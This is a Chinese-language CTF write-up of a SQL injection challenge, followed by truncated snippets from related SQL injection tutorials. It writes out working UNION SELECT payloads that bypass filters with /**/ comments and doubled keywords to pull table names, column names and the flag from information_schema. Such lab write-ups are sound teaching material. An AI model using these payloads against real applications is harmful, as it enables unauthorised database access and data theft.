題目:
開啟題目:
先隨便輸了些數字,發現只有1、2、3查詢結果
接下來進行第一步測試
輸入乙個帶單引號的資料,目的是測試是否存在注入點,輸入1』發現報錯,說明此處存在注入點。且後台**應該是一般的seletc語句,可以通過開閉合單引號來進行注入。
輸入1 and 1=1發現id後顯示1 1=1說明存在過濾。
第二步關鍵字過濾
第三步空格過濾
繞過空格過濾的方法有很多:+、%0a、%0b、/**/等等,這裡我用的是最後一種 。
開始注入
1、資料庫名
在報錯時就可以看到是mysql,因此用database()來獲取當前資料庫名
輸入:
1'union/**/select/**/database()'
我們能夠得到資料庫名為web1
2、表名
在mysql中有一張表information_schema,該錶儲存了mysql伺服器中的所有資訊,那麼接下來就要用得到的資料庫名web1去查其中的表
輸入:
1『union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/=』web1
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schemtable_schemaa/**/='web1
就可以看到表名
flag這個表應該就是我們的目標
3、段名
一樣的思路,用表名查字段
輸入:
1'union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.columinformation_schema.columnsns/**/where/**/table_name='flag
得到兩個欄位flag和id,很明顯,我們要的應該是flag欄位
4、flag
直接檢視flag欄位的內容
輸入:
1' union/**/select/**/flag from/**/flag where/**/'1'='1
就得到flag了
簡單SQL注入
sql注入思路 找注入點 判斷是否為注入點 猜表名 猜欄位名 爆出字段內容 那麼何為注入點?有引數進行資料庫傳遞的都可判為注入點。以此url為例 xx.xx show.asp?id 1 其中id即為引數,如果此url用sql語句來表示的話 則向資料庫中進行查詢的語句為 select from sho...
SQL注入1
1 整型引數的判斷 當輸入的引數yy為整型時,通常abc.asp中sql語句原貌大致如下 select from 表名 where 字段 yy,所以可以用以下步驟測試sql注入是否存在。附加乙個單引號 此時abc.asp中的sql語句變成了 select from 表名 where 字段 yy ab...
CTF Web簡單的SQL注入
慢慢開始做ctf吧。題目鏈結 我的解題過程 題目就是sql注入,先嘗試簡單的sql注入方式 一般的sql語句是 sql select from where 字段 常規注入 t or 1 1 t or 1 1 輸進去有了輸出,但沒有我們需要的flag mysql中所有表都存在information s...